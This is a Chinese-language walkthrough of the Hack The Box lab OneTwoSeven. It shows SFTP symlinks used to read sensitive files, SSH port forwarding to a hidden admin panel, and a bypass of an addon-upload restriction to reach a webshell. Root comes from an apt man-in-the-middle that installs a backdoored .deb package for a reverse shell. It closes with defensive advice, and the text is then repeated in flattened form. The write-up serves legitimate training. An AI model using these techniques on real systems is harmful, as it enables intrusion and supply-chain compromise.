渗透测试 | HTB-OneTwoSeven实战
字数 1452 2025-08-18 11:39:30

HTB-OneTwoSeven渗透测试实战教学文档

1. 环境准备与初始侦察

1.1 环境配置

  • 攻击机:Kali Linux
  • VPN连接:OpenVPN
  • 攻击机IP:10.10.14.37
  • 靶机IP:10.10.10.133

1.2 端口扫描

使用Nmap扫描结果:

  • 开放端口:22(SSH)、80(HTTP)
  • 服务信息:Apache + Linux系统

2. Web应用信息收集

2.1 初始发现

  • 主页面302跳转到index.php
  • 查看源代码发现关键信息:
    Only enable link if access from trusted networks
    admin/20190212
    Added localhost admin/20190214
    <li><a id="adminlink" class="nav-link disabled" href="http://onetwoseven.htb:60080/">Admin</a></li>
    

2.2 页面分析

  • 发现其他页面:stats.php和signup.php
  • 通过signup.php注册获得:
    • 用户名:ots-hYWQ0MmI
    • 密码:deaad42b
    • 特殊URL:http://onetwoseven.htb/~ots-hYWQ0MmI
    • SFTP链接:sftp://onetwoseven.htb

3. SFTP利用

3.1 SFTP登录

  • 使用注册获得的凭据成功登录
  • 可访问目录:public_html
  • 可执行操作:上传/下载文件

3.2 软链接利用

  1. 使用ln -s创建符号链接:

    sftp> ln -s /var/www/html/index.php
    
  2. 通过符号链接读取敏感文件:

    • 成功读取index.php源码
    • 发现用户名密码生成逻辑:
      // 用户名和密码基于IP地址生成
      
  3. 读取/etc/passwd:

    sftp> ln -s /etc/passwd
    
    • 发现本地用户:ots-yODc2NGQ
  4. 生成127.0.0.1对应的凭据:

    • 用户名:ots-yODc2NGQ
    • 密码:f528764d

4. 端口转发与内部服务访问

4.1 SSH端口转发

ssh -L 60080:127.0.0.1:60080 -Nf ots-yODc2NGQ@10.10.10.133

4.2 访问内部管理界面

  • URL:http://localhost:60080
  • 使用凭据登录:
    • 用户名:ots-admin
    • 密码:Homesweethome1

4.3 文件上传漏洞利用

  1. 发现上传点:addon-upload.php

  2. 上传Webshell(weevely)失败

  3. 分析源码发现:

    • 功能通过ots-man-addon.php实现
    • 通过.htaccess重写URL
  4. 构造请求绕过限制:

    GET /ots-man-addon.php?addon=addons/ots-fs-backup.php HTTP/1.1
    
  5. 成功获取Webshell访问权限

5. 权限提升

5.1 检查sudo权限

sudo -l

输出:

(root) NOPASSWD: /usr/bin/apt-get update
(root) NOPASSWD: /usr/bin/apt-get upgrade

5.2 APT中间人攻击准备

  1. 发现自定义源:packages.onetwoseven.htb
  2. 设置代理:
    export http_proxy="http://10.10.15.101:6666"
    
  3. 使用proxy.py搭建代理服务器

5.3 构造恶意deb包

  1. 选择目标包:sed
  2. 修改control文件提高版本号
  3. 编辑postinst文件添加后门命令
  4. 重新打包:
    dpkg-deb --build sed
    

5.4 创建恶意软件仓库

  1. 生成Packages文件:
    dpkg-scanpackages debs/ > Packages
    
  2. 设置Apache服务提供下载

5.5 执行攻击

  1. 在靶机上执行:
    sudo /usr/bin/apt-get update
    sudo /usr/bin/apt-get upgrade
    
  2. 由于连接不稳定,可能需要多次尝试

5.6 获取root权限

  • 恶意包安装时执行后门命令
  • 建立反向连接获取root shell
  • 读取flag:2d380a25a8e3bfc095abd9e691841048

6. 关键知识点总结

  1. SFTP符号链接利用:通过创建符号链接读取系统敏感文件
  2. 端口转发技术:SSH本地端口转发访问受限内部服务
  3. Web应用逻辑漏洞:通过分析源码发现认证机制缺陷
  4. APT中间人攻击:利用sudo权限配置不当进行软件包注入
  5. 恶意deb包构造:修改标准软件包嵌入后门命令
  6. 连接稳定性问题:多层代理环境下需要耐心多次尝试

7. 防御建议

  1. 限制SFTP用户的符号链接创建权限
  2. 加强Web应用的身份验证机制
  3. 避免在sudo配置中使用NOPASSWD选项
  4. 使用HTTPS保护软件仓库通信
  5. 实施软件包签名验证机制
  6. 监控异常的网络连接和软件更新行为
HTB-OneTwoSeven渗透测试实战教学文档 1. 环境准备与初始侦察 1.1 环境配置 攻击机:Kali Linux VPN连接:OpenVPN 攻击机IP:10.10.14.37 靶机IP:10.10.10.133 1.2 端口扫描 使用Nmap扫描结果: 开放端口:22(SSH)、80(HTTP) 服务信息:Apache + Linux系统 2. Web应用信息收集 2.1 初始发现 主页面302跳转到index.php 查看源代码发现关键信息: 2.2 页面分析 发现其他页面:stats.php和signup.php 通过signup.php注册获得: 用户名:ots-hYWQ0MmI 密码:deaad42b 特殊URL:http://onetwoseven.htb/~ots-hYWQ0MmI SFTP链接:sftp://onetwoseven.htb 3. SFTP利用 3.1 SFTP登录 使用注册获得的凭据成功登录 可访问目录:public_ html 可执行操作:上传/下载文件 3.2 软链接利用 使用 ln -s 创建符号链接: 通过符号链接读取敏感文件: 成功读取index.php源码 发现用户名密码生成逻辑: 读取/etc/passwd: 发现本地用户:ots-yODc2NGQ 生成127.0.0.1对应的凭据: 用户名:ots-yODc2NGQ 密码:f528764d 4. 端口转发与内部服务访问 4.1 SSH端口转发 4.2 访问内部管理界面 URL:http://localhost:60080 使用凭据登录: 用户名:ots-admin 密码:Homesweethome1 4.3 文件上传漏洞利用 发现上传点:addon-upload.php 上传Webshell(weevely)失败 分析源码发现: 功能通过ots-man-addon.php实现 通过.htaccess重写URL 构造请求绕过限制: 成功获取Webshell访问权限 5. 权限提升 5.1 检查sudo权限 输出: 5.2 APT中间人攻击准备 发现自定义源:packages.onetwoseven.htb 设置代理: 使用proxy.py搭建代理服务器 5.3 构造恶意deb包 选择目标包:sed 修改control文件提高版本号 编辑postinst文件添加后门命令 重新打包: 5.4 创建恶意软件仓库 生成Packages文件: 设置Apache服务提供下载 5.5 执行攻击 在靶机上执行: 由于连接不稳定,可能需要多次尝试 5.6 获取root权限 恶意包安装时执行后门命令 建立反向连接获取root shell 读取flag:2d380a25a8e3bfc095abd9e691841048 6. 关键知识点总结 SFTP符号链接利用 :通过创建符号链接读取系统敏感文件 端口转发技术 :SSH本地端口转发访问受限内部服务 Web应用逻辑漏洞 :通过分析源码发现认证机制缺陷 APT中间人攻击 :利用sudo权限配置不当进行软件包注入 恶意deb包构造 :修改标准软件包嵌入后门命令 连接稳定性问题 :多层代理环境下需要耐心多次尝试 7. 防御建议 限制SFTP用户的符号链接创建权限 加强Web应用的身份验证机制 避免在sudo配置中使用NOPASSWD选项 使用HTTPS保护软件仓库通信 实施软件包签名验证机制 监控异常的网络连接和软件更新行为